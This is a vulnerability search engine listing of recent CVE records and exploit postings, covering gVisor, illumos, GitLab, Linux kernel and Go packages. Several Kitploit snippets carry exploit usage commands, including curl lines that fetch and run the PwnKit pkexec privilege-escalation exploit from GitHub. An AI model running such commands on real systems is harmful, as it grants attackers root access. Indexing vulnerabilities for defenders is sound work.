CVE Search Engine - Security Vulnerabilities and Exploits Search Tool

show all

289901 matches found

Kitploit•added 2026/10/09 3:45 p.m.•11 views

KERNELexploits

PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" Manually curl -fsSL...

7.8CVSS7.2AI score0.94921EPSS

SaveExploits156References1

Kitploit•added 2026/10/09 3:27 p.m.•19 views

CVE-2026-85706_docker_exp

1. Pull docker git clone https://github.com/FlowerWitch/CVE-2026-85706dockerexp docker compose up -d 2. Write LFI test information docker exec gitlab-vuln bash -c 'echo "SECRET-CANARY-85706-%%%" /tmp/canary.txt' 3. Read and verify Bypass method 1: .json suffix curl -s -w "\nHTTP %httpcode\n" -X...

10CVSS8.6AI score0.92956EPSS

SaveExploits15

NVD•added 2026/10/09 3:17 p.m.•15 views

CVE-2026-95702

Use-after-free vulnerability in VFS in Google gVisor prior to release 20260831.0 on all platforms allows a local attacker with standard container privileges to achieve code execution in the host sentry process by double-freeing the backing MemoryFile from an in-sandbox overlay filesystem. The...

8.5CVSS0.00084EPSS

SaveExploits0References3

NVD•added 2026/10/09 3:17 p.m.•11 views

CVE-2026-104117

A missing authorization check in the illumos IP management daemon ipmgmtd allows a local user to change the persistent IP multipathing IPMP configuration. The ipmgmtd door dispatch table in usr/src/cmd/cmd-inet/lib/ipmgmtd/ipmgmtdoor.c does not require the solaris.network.interface.config...

4.8CVSS0.00106EPSS

SaveExploits0References3

NVD•added 2026/10/09 3:17 p.m.•12 views

CVE-2026-104114

A NULL pointer dereference in the illumos Network Auto-Magic daemon nwamd allows a local user to crash the daemon. nwamddoorswitch in usr/src/cmd/cmd-inet/lib/nwamd/doorif.c writes to the caller's request structure before checking that a request was supplied, and before checking the caller's...

6.8CVSS0.00116EPSS

SaveExploits0References3

NVD•added 2026/10/09 3:17 p.m.•8 views

CVE-2026-102916

A reachable assertion in the illumos bhyve instruction emulator allows a guest to panic the host. When emulating a REP-prefixed MOVS or STOS instruction that accesses guest MMIO, vieemulatemovs and vieemulatestos in usr/src/uts/intel/io/vmm/vmminstructionemul.c do not clear the VIESREPEAT status...

8.2CVSS0.00123EPSS

SaveExploits0References4

Kitploit•added 2026/10/09 3:05 p.m.•12 views

copyfail

Copy Fail CVE-2026-31431 – Exploit Usage Guide Original Readme taken from @painoob All Kernel versions since 2017 / 2016 are vulnerable ! Kernel 7 is fully immune, others between 5-7 may still be vulnerable ⚠️ Disclaimer This content is for educational and authorized security testing purposes only...

7.8CVSS6.8AI score0.03437EPSS

SaveExploits246

Kitploit•added 2026/10/09 2:58 p.m.•11 views

PwnKit-CVE-2021-4034

PwnKit PoC for PwnKit / CVE-2021-4034 - Pkexec Local Privilege Escalation Exploit Manually curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit 'id' single command Patched Running the exploit...

7.8CVSS7.3AI score0.94921EPSS

SaveExploits156References1

Chainguard•added 2026/10/09 2:54 p.m.•17 views

GO-2026-6610 vulnerabilities

Vulnerabilities for packages: spicedb-operator, crossplane-provider-aws-organizations, longhorn-engine-fips, cloud-provider-azure, crossplane-provider-aws-globalaccelerator-fips, external-secrets-operator, dex, art, clickhouse-backup, mongodb-kubernetes-operator-fips, custom-pod-autoscaler, veler...

5.8AI score

SaveExploits0

Chainguard•added 2026/10/09 2:54 p.m.•10 views

GO-2026-6603 vulnerabilities